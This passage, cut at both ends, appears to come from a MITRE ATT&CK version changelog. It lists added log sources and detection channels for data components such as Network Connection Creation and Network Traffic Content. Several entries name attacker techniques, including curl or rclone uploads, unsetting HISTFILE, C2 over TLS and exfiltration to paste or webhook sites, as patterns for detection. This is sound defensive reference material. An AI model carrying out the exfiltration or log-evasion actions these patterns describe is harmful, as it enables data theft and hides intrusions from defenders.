context'}, {'name': 'esxi:shell', 'channel': '`esxcli software vib install` with `--force` or `--no-sig-check` from shell history or `shell.log`'}, {'name': 'AWS:CloudTrail', 'channel': 'SendCommand, StartSession, ExecuteCommand: Unexpected AWS Systems Manager command execution targeting EC2 instances'}, {'name': 'esxi:vmkernel', 'channel': 'Unexpected restarts of management agents or shell access'}, {'name': 'auditd:EXECVE', 'channel': 'curl or wget with POST/PUT options'}, {'name': 'networkdevice:syslog', 'channel': 'Detected CLI command to export key material'}, {'name': 'networkdevice:config', 'channel': 'PKI export or certificate manipulation commands'}, {'name': 'macos:unifiedlog', 'channel': 'command execution triggered by emond (e.g., shell, curl, python)'}, {'name': 'esxi:vmkernel', 'channel': 'esxcli, vim-cmd invocation'}, {'name': 'esxi:shell', 'channel': 'CLI session activity'}, {'name': 'auditd:SYSCALL', 'channel': 'execve=/sbin/shutdown or /sbin/reboot'}, {'name': 'esxi:shell', 'channel': 'esxcli system shutdown or reboot invoked'}, {'name': 'networkdevice:syslog', 'channel': 'reload command issued'}, {'name': 'WinEventLog:PowerShell', 'channel': 'EventCode=4103, 4104'}, {'name': 'auditd:PROCTITLE', 'channel': 'command-line execution patterns for system discovery utilities (uname, hostname, ifconfig, netstat, lsof, ps, mount)'}, {'name': 'esxi:shell', 'channel': 'shell command execution for system discovery (vim-cmd, esxcli, vmware-cmd) targeting VM inventory and host configuration'}, {'name': 'vpxd.log', 'channel': 'VM inventory queries and configuration enumeration through vCenter API calls'}, {'name': 'auditd:SYSCALL', 'channel': 'execve calls modifying HISTFILE or HISTCONTROL via unset/export'}, {'name': 'macos:unifiedlog', 'channel': 'Set or unset HIST* variables in shell environment'}, {'name': 'esxi:shell', 'channel': 'unset HISTFILE or HISTFILESIZE modifications'}, {'name': 'networkdevice:cli', 'channel': "Commands like 'no logging' or equivalents that disable session history"}, {'name': 'auditd:SYSCALL', 'channel': 'execve calls to /usr/bin/locale or shell execution of $LANG'}, {'name': 'macos:unifiedlog', 'channel': 'defaults read -g AppleLocale or systemsetup -gettimezone'}, {'name': 'networkdevice:cli', 'channel': "Execution of commands such as 'copy tftp flash', 'boot system ', 'reload'"}, {'name': 'auditd:EXECVE', 'channel': 'curl -T, rclone copy'}, {'name': 'auditd:SYSCALL', 'channel': 'execution of systemctl or service with enable/start/modify'}, {'name': 'macos:unifiedlog', 'channel': 'launchctl load/unload or plist file modification'}, {'name': 'networkdevice:syslog', 'channel': 'syslog facility LOCAL7 or trap messages'}, {'name': 'linux:cli', 'channel': '/home/*/.bash_history'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of lsmod, modinfo, or cat /proc/modules'}, {'name': 'networkdevice:config', 'channel': "Configuration changes referencing 'boot system tftp' or modification of startup-config pointing to external TFTP servers"}, {'name': 'macos:unifiedlog', 'channel': 'dscl . -create'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of commands like `ls -l@`, `xattr -l`, or custom tools interacting with resource forks'}, {'name': 'esxi:vpxd', 'channel': 'vCenter Management'}]

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_source_ref	x-mitre-data-source--73691708-ffb5-4e29-906d-f485f6fa7089

values_changed
STIX Field	Old value	New Value
modified	2025-04-18 15:11:30.145000+00:00	2025-10-21 15:14:34.849000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.2	2.0

[DC0018] Host Status

Current version: 2.0

Version changed from: 1.1 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0018', 'external_id': 'DC0018'}]
x_mitre_log_sources		[{'name': 'Sensor Health', 'channel': 'None'}, {'name': 'macos:osquery', 'channel': 'interface_details '}, {'name': 'Windows:perfmon', 'channel': 'Sustained CPU/memory exhaustion by service process (e.g., w3wp.exe)'}, {'name': 'macos:unifiedlog', 'channel': 'Web service process (e.g., httpd) entering crash loop or consuming excessive CPU'}, {'name': 'AWS:CloudWatch', 'channel': 'Sustained spike in CPU usage on EC2 instance with web service role'}, {'name': 'WinEventLog:System', 'channel': 'System shutdowns due to bugcheck (Event ID 1001) or watchdog timer expirations'}, {'name': 'linux:syslog', 'channel': 'Out of memory killer invoked or kernel panic entries'}, {'name': 'macos:unifiedlog', 'channel': 'Spike in CPU or memory use from non-user-initiated processes'}, {'name': 'AWS:CloudWatch', 'channel': 'StatusCheckFailed or StatusCheckFailed_System for burstable instances (t2/t3)'}, {'name': 'kubernetes:events', 'channel': 'CrashLoopBackOff, OOMKilled, container restart count exceeds threshold'}, {'name': 'WinEventLog:Sysmon', 'channel': 'EventCode=16'}, {'name': 'Windows:perfmon', 'channel': 'High sustained CPU usage by a single process'}, {'name': 'linux:procfs', 'channel': 'Sustained high /proc/[pid]/stat usage'}, {'name': 'CloudWatch:Metrics', 'channel': 'Sustained EC2 CPU usage above normal baseline'}, {'name': 'prometheus:metrics', 'channel': 'Container CPU/Memory usage exceeding threshold'}, {'name': 'linux:syslog', 'channel': 'Service stop or disable messages for security tools not reflected in SIEM alerts'}, {'name': 'macos:unifiedlog', 'channel': 'Termination or disabling of XProtect, Gatekeeper, or third-party AV daemons'}, {'name': 'CloudWatch:InstanceMetrics', 'channel': 'NetworkOut spike beyond baseline'}, {'name': 'WinEventLog:Microsoft-Windows-TCPIP', 'channel': 'Connection queue overflow or failure to allocate TCP state object'}, {'name': 'NSM:Flow', 'channel': 'TCP: possible SYN flood or backlog limit exceeded'}, {'name': 'macos:unifiedlog', 'channel': 'network stack resource exhaustion, tcp_accept queue overflow, repeated resets'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=1166, 7045'}, {'name': 'auditd:SYSCALL', 'channel': 'firmware_update, kexec_load'}, {'name': 'journald:boot', 'channel': 'Secure Boot failure, firmware version change'}, {'name': 'macos:unifiedlog', 'channel': 'EFI firmware integrity check failed'}, {'name': 'macos:syslog', 'channel': 'Hardware UUID or device list drift'}, {'name': 'Windows:perfmon', 'channel': 'Sudden spike in outbound throughput without corresponding inbound traffic'}, {'name': 'sar:network', 'channel': 'Outbound network saturation with minimal process activity'}, {'name': 'AWS:CloudWatch', 'channel': 'Sudden spike in network output without a corresponding inbound request ratio'}, {'name': 'Windows:perfmon', 'channel': 'Sudden spikes in CPU/Memory usage linked to specific application processes'}, {'name': 'CloudMetrics:InstanceHealth', 'channel': 'Autoscaling, memory/cpu alarms, or instance unhealthiness'}, {'name': 'macos:unifiedlog', 'channel': 'System Integrity Protection (SIP) state reported as disabled'}, {'name': 'AWS:CloudWatch', 'channel': 'Unusual CPU burst or metric anomalies'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=1074'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=6006'}, {'name': 'linux:syslog', 'channel': 'system is powering down'}, {'name': 'macos:unifiedlog', 'channel': 'System shutdown or reboot requested'}, {'name': 'esxi:hostd', 'channel': 'Powering off or restarting host'}, {'name': 'networkdevice:syslog', 'channel': 'System reboot scheduled or performed'}]

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_source_ref	x-mitre-data-source--4523e7f3-8de2-4078-96f8-1227eb537159

values_changed
STIX Field	Old value	New Value
modified	2025-04-18 15:16:18.582000+00:00	2025-10-21 15:14:37.544000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.1	2.0

[DC0113] Network Communication

Current version: 2.0

Version changed from: 1.0 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0113', 'external_id': 'DC0113'}]
x_mitre_log_sources		[{'name': 'Application Vetting', 'channel': 'None'}]

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_source_ref	x-mitre-data-source--e156f007-c5bf-45cc-8dd5-d442ffb0d203

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 21:22:21.724000+00:00	2025-10-21 15:10:28.402000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.0	2.0

[DC0082] Network Connection Creation

Current version: 2.0

Version changed from: 1.2 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0082', 'external_id': 'DC0082'}]
x_mitre_log_sources		[{'name': 'Network Traffic', 'channel': 'None'}, {'name': 'AWS:VPCFlowLogs', 'channel': 'Outbound connection to 169.254.169.254 from EC2 workload'}, {'name': 'WinEventLog:Sysmon', 'channel': 'EventCode=3'}, {'name': 'macos:unifiedlog', 'channel': 'connection attempts'}, {'name': 'esxi:hostd', 'channel': 'System service interactions'}, {'name': 'WinEventLog:Sysmon', 'channel': 'EventCode=3, 22'}, {'name': 'NSM:Connections', 'channel': 'web domain alerts'}, {'name': 'WinEventLog:Sysmon', 'channel': 'EventCode=22'}, {'name': 'auditd:SYSCALL', 'channel': 'connect'}, {'name': 'auditd:SYSCALL', 'channel': 'netconnect'}, {'name': 'macos:osquery', 'channel': 'process_events/socket_events'}, {'name': 'NSM:Firewall', 'channel': 'Outbound Connections'}, {'name': 'macos:unifiedlog', 'channel': 'connection open'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execs of chromium, google-chrome, firefox, libreoffice with http(s) in cmdline'}, {'name': 'NSM:Flow', 'channel': 'New TCP/443 or TCP/80 to domain not previously seen for the user/host'}, {'name': 'NSM:Connections', 'channel': 'New outbound connection from Safari/Chrome/Firefox/Word'}, {'name': 'NSM:Flow', 'channel': 'conn.log'}, {'name': 'auditd:SYSCALL', 'channel': 'open or connect'}, {'name': 'macos:osquery', 'channel': 'execution of trusted tools interacting with external endpoints'}, {'name': 'linux:Sysmon', 'channel': 'EventCode=22'}, {'name': 'WinEventLog:Microsoft-Windows-Bits-Client/Operational', 'channel': 'BITS job lifecycle events such as job create/modify/transfer/complete and URL/remote name fields'}, {'name': 'NSM:Firewall', 'channel': 'proxy or TLS inspection logs'}, {'name': 'macos:unifiedlog', 'channel': 'network connection events'}, {'name': 'esxi:vmkernel', 'channel': 'protocol egress'}, {'name': 'NSM:Flow', 'channel': 'Outbound connection to .tunnels.api.visualstudio.com or .devtunnels.ms'}, {'name': 'NSM:Flow', 'channel': 'Connections to .devtunnels.ms or tunnels.api.visualstudio.com'}, {'name': 'NSM:Flow', 'channel': 'HTTPs connection to tunnels.api.visualstudio.com'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=5156'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=5156,5157'}, {'name': 'linux:osquery', 'channel': 'family=AF_PACKET or protocol raw; process name not in allowlist.'}, {'name': 'macos:unifiedlog', 'channel': 'First outbound connection from the same PID/user shortly after an inbound trigger.'}, {'name': 'NSM:Flow', 'channel': 'Outbound or inbound TFTP file transfers of ROMMON or firmware binaries'}, {'name': 'NSM:Connections', 'channel': 'Outbound connections from newly spawned child processes or from the browser to uncommon endpoints or on anomalous ports'}, {'name': 'NSM:Flow', 'channel': 'connection: TCP connections to ports 139/445 to multiple hosts'}, {'name': 'NSM:Flow', 'channel': 'connection: SMB connections to multiple internal hosts'}, {'name': 'auditd:SYSCALL', 'channel': 'connect/sendto'}, {'name': 'macos:endpointsecurity', 'channel': 'ES_EVENT_TYPE_NOTIFY_CONNECT'}, {'name': 'snmp:access', 'channel': 'GETBULK/GETNEXT requests for OIDs associated with configuration parameters'}, {'name': 'esxi:hostd', 'channel': 'Service initiated connections'}, {'name': 'AWS:VPCFlowLogs', 'channel': 'Large transfer volume (>20MB) from RDS IP range to external public IPs'}, {'name': 'AWS:VPCFlowLogs', 'channel': 'High outbound traffic from new region resource'}, {'name': 'NSM:Flow', 'channel': 'Outbound HTTP/S initiated by newly installed interpreter process'}, {'name': 'auditd:SYSCALL', 'channel': 'open or connect syscalls on /tmp/ssh- or $SSH_AUTH_SOCK'}, {'name': 'NSM:Flow', 'channel': 'outbound connections to RMM services or to unusual destination ports'}, {'name': 'macos:unifiedlog', 'channel': 'network sessions initiated by remote desktop apps'}, {'name': 'AWS:VPCFlowLogs', 'channel': 'Outbound connections to port 22, 3389'}, {'name': 'auditd:SYSCALL', 'channel': 'socket/connect with TLS context by unexpected process'}, {'name': 'NSM:Flow', 'channel': "Multiple failed connections (conn_state=REJ/S0 or history has 'R') across distinct ports from the same src_ip followed by success to a specific port."}, {'name': 'auditd:SYSCALL', 'channel': 'socket/bind: New bind() to a previously closed port shortly after the sequence.'}, {'name': 'NSM:Flow', 'channel': 'Sequence of REJ/S0 then SF success from same src_ip within TimeWindow.'}, {'name': 'NSM:Flow', 'channel': 'Series of denied/closed flows to distinct ports then success to mgmt port from same src_ip within TimeWindow.'}, {'name': 'NSM:Flow', 'channel': 'Outbound traffic spike through formerly blocked ports/subnets following config change'}, {'name': 'cni:netflow', 'channel': 'outbound connection to internal or external APIs'}, {'name': 'macos:osquery', 'channel': 'launchd or network_events'}, {'name': 'networkdevice:syslog', 'channel': 'Dynamic route changes'}, {'name': 'NSM:Flow', 'channel': 'New egress to Internet by the same UID/host shortly after terminal exec'}, {'name': 'NSM:Flow', 'channel': 'connection: Inbound connections to SSH or VPN ports'}, {'name': 'macos:unifiedlog', 'channel': 'Inbound connections to VNC/SSH ports'}, {'name': 'NSM:Flow', 'channel': 'External access to container ports (2375, 6443)'}, {'name': 'linux:syslog', 'channel': 'network'}, {'name': 'macos:osquery', 'channel': 'process_events + launchd'}, {'name': 'esxi:esxupdate', 'channel': '/var/log/esxupdate.log or /var/log/vmksummary.log'}, {'name': 'ebpf:syscalls', 'channel': 'socket connect'}, {'name': 'NSM:Flow', 'channel': 'remote access'}, {'name': 'NSM:Flow', 'channel': 'Outbound Connections'}, {'name': 'macos:unifiedlog', 'channel': 'network'}, {'name': 'AWS:VPCFlowLogs', 'channel': 'Traffic observed on mirror destination instance'}, {'name': 'networkdevice:Flow', 'channel': 'Traffic from mirrored interface to mirror target IP'}, {'name': 'linux:Sysmon', 'channel': 'EventCode=3'}, {'name': 'macos:osquery', 'channel': 'process_events, socket_events'}, {'name': 'esxi:vmkernel', 'channel': 'network activity'}, {'name': 'NSM:Flow', 'channel': 'connection attempts'}, {'name': 'NSM:Flow', 'channel': 'High-volume or repeated SNMP GETBULK/GETNEXT queries from untrusted or external IPs'}, {'name': 'auditd:SYSCALL', 'channel': 'sendto/connect'}, {'name': 'NSM:Flow', 'channel': 'outbound connections from host during or immediately after image build'}, {'name': 'macos:unifiedlog', 'channel': 'Outbound Traffic'}, {'name': 'esxi:hostd', 'channel': 'Service-Based Network Connection'}, {'name': 'linux:syslog', 'channel': 'postfix/smtpd'}, {'name': 'NSM:Flow', 'channel': 'new outbound connection from browser/office lineage'}, {'name': 'NSM:Flow', 'channel': 'new outbound connection from exploited lineage'}, {'name': 'macos:osquery', 'channel': 'CONNECT: Long-lived connections from remote-control parents to external IPs/domains'}, {'name': 'auditd:SYSCALL', 'channel': 'outbound connections'}, {'name': 'macos:unifiedlog', 'channel': 'None'}, {'name': 'esxi:vmkernel', 'channel': 'None'}, {'name': 'macos:unifiedlog', 'channel': 'networkd or socket'}, {'name': 'macos:unifiedlog', 'channel': 'log stream network activity'}, {'name': 'NSM:Flow', 'channel': "Multiple failed connections to closed ports (history contains 'R' or conn_state in {REJ, S0}) followed by a successful handshake to a new port from same src within TimeWindowKnock"}, {'name': 'auditd:SYSCALL', 'channel': 'socket/bind: Process binds to a new local port shortly after knock'}, {'name': 'NSM:Flow', 'channel': 'Closed-port hits followed by success from same src_ip'}, {'name': 'NSM:Flow', 'channel': 'Port-knock pattern from one src to device unicast,broadcast,network addresses on same port within TimeWindowKnock'}, {'name': 'WinEventLog:Microsoft-Windows-WLAN-AutoConfig', 'channel': '8001, 8002, 8003'}, {'name': 'linux:syslog', 'channel': 'New Wi-Fi connection established or repeated association failures'}, {'name': 'macos:unifiedlog', 'channel': 'Association and authentication events including failures and new SSIDs'}, {'name': 'auditd:SYSCALL', 'channel': 'socket/connect calls showing SSH processes forwarding arbitrary ports'}, {'name': 'esxi:vmkernel', 'channel': 'network session initiation with external HTTPS services'}, {'name': 'WinEventLog:System', 'channel': 'EventCode=8001'}, {'name': 'linux:syslog', 'channel': 'None'}, {'name': 'macos:osquery', 'channel': 'None'}, {'name': 'auditd:SYSCALL', 'channel': 'openat,connect -k discovery'}, {'name': 'NSM:Flow', 'channel': 'Unexpected inbound/outbound TFTP traffic for device image files'}, {'name': 'NSM:Flow', 'channel': 'Unexpected or unauthorized inbound connections to SNMP, NETCONF, or RESTCONF services'}]

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_source_ref	x-mitre-data-source--c000cd5c-bbb3-4606-af6f-6c6d9de0bbe3

values_changed
STIX Field	Old value	New Value
modified	2025-04-18 15:11:23.639000+00:00	2025-10-21 15:14:34.190000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.2	2.0

[DC0085] Network Traffic Content

Current version: 2.0

Version changed from: 1.1 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0085', 'external_id': 'DC0085'}]
x_mitre_log_sources		[{'name': 'Network Traffic', 'channel': 'None'}, {'name': 'ebpf:syscalls', 'channel': 'Process within container accesses link-local address 169.254.169.254'}, {'name': 'WebProxy:AccessLogs', 'channel': 'SSRF-like patterns accessing metadata endpoint through proxy (e.g., Host: 169.254.169.254)'}, {'name': 'NSM:Flow', 'channel': 'mqtt.log / xmpp.log (custom log feeds)'}, {'name': 'NSM:Flow', 'channel': 'mqtt.log or AMQP custom log'}, {'name': 'NSM:Flow', 'channel': 'mqtt.log, xmpp.log, amqp.log'}, {'name': 'networkdevice:syslog', 'channel': 'ACL/Firewall rule modification or new route injection'}, {'name': 'm365:office', 'channel': 'External HTTP/DNS connection from Office binary shortly after macro trigger'}, {'name': 'NSM:Flow', 'channel': 'TCP/UDP'}, {'name': 'NSM:Flow', 'channel': 'TCP session tracking'}, {'name': 'NSM:Flow', 'channel': 'Captured packet payloads'}, {'name': 'NSM:Flow', 'channel': 'session behavior'}, {'name': 'esxi:vmkernel', 'channel': 'Network activity'}, {'name': 'NSM:Flow', 'channel': 'External C2 channel over TLS'}, {'name': 'NSM:Flow', 'channel': 'http/file-xfer: Inbound/outbound transfer of ELF shared objects'}, {'name': 'NSM:Flow', 'channel': 'http.log, files.log'}, {'name': 'NSM:Flow', 'channel': 'unexpected network activity initiated shortly after shell session starts'}, {'name': 'NSM:Flow', 'channel': 'HTTP/WebDAV requests that contain NTLMSSP or PROPFIND/MOVE/OPTIONS with Authorization: NTLM'}, {'name': 'NSM:Flow', 'channel': 'http.log, ssl.log'}, {'name': 'NSM:Flow', 'channel': 'http.log, conn.log'}, {'name': 'NSM:Flow', 'channel': 'SPAN or port-mirrored HTTP/S'}, {'name': 'NSM:Flow', 'channel': 'http.log, ssl.log, websocket.log'}, {'name': 'macos:unifiedlog', 'channel': 'process + network metrics correlation for bandwidth saturation'}, {'name': 'docker:stats', 'channel': 'unusual network TX/RX byte deltas'}, {'name': 'etw:Microsoft-Windows-WinINet', 'channel': 'HTTPS Inspection'}, {'name': 'NSM:Flow', 'channel': 'ssl.log'}, {'name': 'linux:syslog', 'channel': 'Query to suspicious domain with high entropy or low reputation'}, {'name': 'macos:unifiedlog', 'channel': 'DNS query with pseudo-random subdomain patterns'}, {'name': 'azure:vpcflow', 'channel': 'HTTP requests to 169.254.169.254 or Azure Metadata endpoints'}, {'name': 'NSM:Flow', 'channel': 'Browser connections to known C2 or dynamic DNS domains'}, {'name': 'NSM:Flow', 'channel': 'Session History Reset'}, {'name': 'NSM:Flow', 'channel': 'HTTP '}, {'name': 'macos:unifiedlog', 'channel': 'network flow'}, {'name': 'linux:syslog', 'channel': 'curl\|wget\|python .http'}, {'name': 'macos:unifiedlog', 'channel': 'curl\|osascript.open location'}, {'name': 'NSM:Flow', 'channel': 'query: High-volume LDAP traffic with filters targeting groupPolicyContainer attributes'}, {'name': 'etw:Microsoft-Windows-NDIS-PacketCapture', 'channel': 'TLS Handshake/Network Flow'}, {'name': 'NSM:Flow', 'channel': 'HTTP/TLS Logs'}, {'name': 'macos:unifiedlog', 'channel': 'subsystem: com.apple.network'}, {'name': 'linux:syslog', 'channel': 'Unexpected SQL or application log entries showing tampered or malformed data'}, {'name': 'EDR:hunting', 'channel': 'Advanced Hunting: DeviceProcessEvents + DeviceNetworkEvents'}, {'name': 'NSM:Flow', 'channel': 'Suspicious URL patterns, uncommon TLDs, short-lived domains, URL shorteners; HTTP method GET/POST'}, {'name': 'NSM:Flow', 'channel': 'Suspicious URL patterns, uncommon TLDs, URL shorteners'}, {'name': 'macos:unifiedlog', 'channel': 'open URL\|clicked link\|LSQuarantineAttach'}, {'name': 'NSM:Flow', 'channel': 'Suspicious GET/POST; downloader patterns'}, {'name': 'NSM:Flow', 'channel': 'SSH logins or scp activity'}, {'name': 'NSM:Flow', 'channel': 'remote login and transfer'}, {'name': 'esxi:vob', 'channel': 'NFS/remote access logs'}, {'name': 'AWS:VPCFlowLogs', 'channel': 'Traffic between instances'}, {'name': 'NSM:Flow', 'channel': 'conn.log'}, {'name': 'WinEventLog:System', 'channel': 'EventCode=5005 (WLAN), EventCode=302 (Bluetooth)'}, {'name': 'macos:unifiedlog', 'channel': 'None'}, {'name': 'NSM:Flow', 'channel': 'Suspicious long-lived or reattached remote desktop sessions from unexpected IPs'}, {'name': 'NSM:Flow', 'channel': 'HTTP payloads with SQLi/LFI/JNDI/deserialization indicators'}, {'name': 'NSM:Flow', 'channel': 'outbound egress from web host after suspicious request'}, {'name': 'NSM:Flow', 'channel': 'Requests towards cloud metadata or command & control from pod IPs'}, {'name': 'ALB:HTTPLogs', 'channel': 'AWS ALB/ELB/GCP/Azure Application Gateway HTTP logs with unusual methods, long URIs, serialized payloads, 4xx/5xx bursts'}, {'name': 'NSM:Flow', 'channel': 'Connections to TCP 427 (SLP) or vCenter web services from untrusted sources'}, {'name': 'NSM:Flow', 'channel': 'NetFlow/sFlow for odd egress to Internet from mgmt plane'}, {'name': 'NSM:Flow', 'channel': 'packet capture or DPI logs'}, {'name': 'NSM:Flow', 'channel': 'http.log'}, {'name': 'NSM:Flow', 'channel': 'SMB2_LOGOFF/SMB_TREE_DISCONNECT'}, {'name': 'macos:unifiedlog', 'channel': 'Connections to suspicious domains with mismatched certificate or unusual patterns'}, {'name': 'NSM:Flow', 'channel': 'Unusual Base64-encoded content in URI, headers, or POST body'}, {'name': 'NSM:Flow', 'channel': 'Base64 strings or gzip in URI, headers, or POST body'}, {'name': 'macos:unifiedlog', 'channel': 'HTTP POST with encoded content in user-agent or cookie field'}, {'name': 'esxi:vmkernel', 'channel': 'Outbound traffic using encoded payloads post-login'}, {'name': 'macos:unifiedlog', 'channel': 'Suspicious outbound HTTPS requests to domains flagged as newly registered or untrusted after spearphishing message interaction'}, {'name': 'NSM:Flow', 'channel': 'Inbound connections to 445, 3389, 5985-5986 with high error/connection-reset rate, followed by new outbound sessions from the same host to internal assets within short interval.'}, {'name': 'NSM:Flow', 'channel': 'Inbound connections to monitored service ports from external or unusual internal sources; rapid follow-on lateral connections from the same host.'}, {'name': 'NSM:Flow', 'channel': 'Inbound to tcp/427 (OpenSLP), tcp/443 (vSphere APIs), tcp/902, tcp/5989 followed by new unexpected outbound sessions from the ESXi/vCenter host.'}, {'name': 'NSM:Flow', 'channel': 'Inbound to 22/5900/8080 and follow-on internal connections.'}, {'name': 'NSM:Flow', 'channel': 'http: HTTP body or headers contain long Base64 sections; gzip/deflate + Base64'}, {'name': 'NSM:Flow', 'channel': 'http: HTTP body contains long Base64 sections'}, {'name': 'NSM:Flow', 'channel': 'http: Base64/MIME looking payloads from ESXi host IP'}, {'name': 'NSM:Flow', 'channel': 'LDAP Bind/Search'}, {'name': 'NSM:Flow', 'channel': 'LDAP Query'}, {'name': 'macos:unifiedlog', 'channel': 'log stream (subsystem: com.apple.system.networking)'}, {'name': 'NSM:Flow', 'channel': 'smtp.log'}, {'name': 'NSM:Flow', 'channel': 'smtp.log, conn.log'}, {'name': 'NSM:Flow', 'channel': 'remote CLI session detection'}, {'name': 'macos:unifiedlog', 'channel': 'Encrypted connection with anomalous payload entropy'}, {'name': 'esxcli:network', 'channel': 'Socket sessions with randomized payloads inconsistent with TLS'}, {'name': 'NSM:Connections', 'channel': 'Symmetric encryption detected without TLS handshake sequence'}, {'name': 'NSM:Flow', 'channel': 'http.log, ftp.log'}, {'name': 'NSM:Flow', 'channel': 'PCAP inspection'}, {'name': 'NSM:Flow', 'channel': 'large HTTPS POST requests to webhook endpoints'}, {'name': 'esxi:vmkernel', 'channel': 'HTTPS POST connections to webhook endpoints'}, {'name': 'NSM:Flow', 'channel': 'Single, low-volume inbound packet (REJ/S0/OTH or uncommon dport/protocol) from src_ip followed by outbound SF connection to src_ip.'}, {'name': 'NSM:Flow', 'channel': 'Rare inbound packet characteristics (ICMP/UDP/TCP to uncommon port) from src_ip followed ≤TimeWindow by outbound SF from same host to src_ip.'}, {'name': 'NSM:Flow', 'channel': 'Inbound one-off packet to uncommon port → outbound SF to same src_ip within TimeWindow.'}, {'name': 'networkdevice:config', 'channel': 'NAT table modification (add/update/delete rule)'}, {'name': 'NSM:Flow', 'channel': 'large upload to firmware interface port or path'}, {'name': 'macos:unifiedlog', 'channel': 'Rapid incoming TLS handshakes or HTTP requests in quick succession'}, {'name': 'NSM:Flow', 'channel': 'http.request: HTTP requests and responses for specific script resources, unexpected content-types (application/octet-stream for script URLs), suspicious referrers, or obfuscated javascript resources'}, {'name': 'NSM:Flow', 'channel': 'http::response: HTTP responses with suspicious content-type for scripts, long obfuscated javascript bodies, or redirects to exploit kit domains'}, {'name': 'NSM:Flow', 'channel': 'HTTP/HTTPS requests for script resources flagged by content inspection (excessive obfuscation, eval usage, unusual redirects)'}, {'name': 'NSM:Connections', 'channel': 'TLS handshake + HTTP headers'}, {'name': 'NSM:Flow', 'channel': 'ssl.log + http.log'}, {'name': 'macos:unifiedlog', 'channel': 'network, socket, and http logs'}, {'name': 'NSM:Firewall', 'channel': 'TLS/HTTP inspection'}, {'name': 'NSM:Flow', 'channel': 'http/file-xfer: Outbound transfer of large video-like MIME types soon after capture'}, {'name': 'container:proxy', 'channel': 'outbound/inbound network activity from spawned pods'}, {'name': 'esxcli:network', 'channel': 'listening sockets bound to non-standard ports'}, {'name': 'NSM:Flow', 'channel': 'Outbound SCP, TFTP, or FTP sessions carrying configuration file content'}, {'name': 'NSM:Flow', 'channel': 'Session Transfer Content'}, {'name': 'NSM:Flow', 'channel': 'Captured File Content'}, {'name': 'NSM:Flow', 'channel': 'C2 exfiltration'}, {'name': 'NSM:Flow', 'channel': 'Transferred file observations'}, {'name': 'apache:access_log', 'channel': "Unusual HTTP POST or PUT requests to paths such as '/uploads/', '/admin/', or CMS plugin folders"}, {'name': 'NSM:Flow', 'channel': 'http::post: Outbound HTTP POST from host shortly after DB export activity'}, {'name': 'NSM:Flow', 'channel': 'HTTPS API requests to Dropbox, iCloud, Google Drive, OneDrive shortly after DB tool usage'}, {'name': 'NSM:Flow', 'channel': 'Observed downgrade in negotiated cipher suites or TLS/SSH versions across sessions'}, {'name': 'NSM:Flow', 'channel': 'New egress from container IP/namespace to Internet or non-approved CIDRs/ASNs'}, {'name': 'NSM:Flow', 'channel': 'New VM egress to crypto-mining pools or non-approved Internet ranges within minutes of boot'}, {'name': 'docker:events', 'channel': 'remote API calls to /containers/create or /containers/{id}/start'}, {'name': 'NSM:Flow', 'channel': 'http::request: Network connection to package registry or C2 from interpreter shortly after install'}, {'name': 'linux:syslog', 'channel': 'Integrity mismatch warnings or malformed packets detected'}, {'name': 'NSM:Flow', 'channel': 'http::request: Outbound HTTP initiated by Python interpreter'}, {'name': 'WinEventLog:Sysmon', 'channel': 'Outbound requests with forged tokens/cookies in headers'}, {'name': 'linux:syslog', 'channel': 'DNS response IPs followed by connections to non-standard calculated ports'}, {'name': 'macos:unifiedlog', 'channel': 'DNS responses followed by connections to ports outside standard ranges'}, {'name': 'macos:unifiedlog', 'channel': 'Persistent outbound traffic to mining domains'}, {'name': 'macos:unifiedlog', 'channel': 'Encrypted session initiation by unexpected binary'}, {'name': 'esxi:vmkernel', 'channel': 'Inspection of sockets showing encrypted sessions from non-baseline processes'}, {'name': 'NSM:Connections', 'channel': 'Abnormal certificate chains or non-standard ports carrying TLS'}, {'name': 'NSM:Flow', 'channel': 'DrsAddEntry, DrsReplicaAdd, GetNCChanges calls between non-DC and DCs.'}, {'name': 'NSM:Flow', 'channel': 'large HTTPS POST requests to text storage domains'}, {'name': 'esxi:vmkernel', 'channel': 'HTTPS POST connections to pastebin-like domains'}, {'name': 'NSM:Flow', 'channel': 'Unexpected ARP replies or DNS responses inconsistent with authoritative servers'}, {'name': 'NSM:Flow', 'channel': 'TLS downgrade or inconsistent DNS answers'}, {'name': 'NSM:Flow', 'channel': 'Unusual request pattern leading up to service crash (e.g., malformed or oversized payload)'}, {'name': 'AWS:VPCFlowLogs', 'channel': 'Large volume of malformed or synthetic payloads to application endpoints prior to failure'}, {'name': 'networkconfig ', 'channel': 'interface flag PROMISC, netstat \| ip link \| ethtool'}, {'name': 'macos:unifiedlog', 'channel': "eventMessage = 'promiscuous'"}, {'name': 'networkdevice:syslog', 'channel': 'config change (e.g., logging buffered, pcap buffers)'}, {'name': 'macos:unifiedlog', 'channel': 'outbound HTTPS connections to code repository APIs'}, {'name': 'azure:activity', 'channel': 'networkInsightsLogs'}, {'name': 'gcp:audit', 'channel': 'network.query*'}, {'name': 'WinEventLog:Microsoft-Windows-Windows Defender/Operational', 'channel': 'Unusual external domain access'}, {'name': 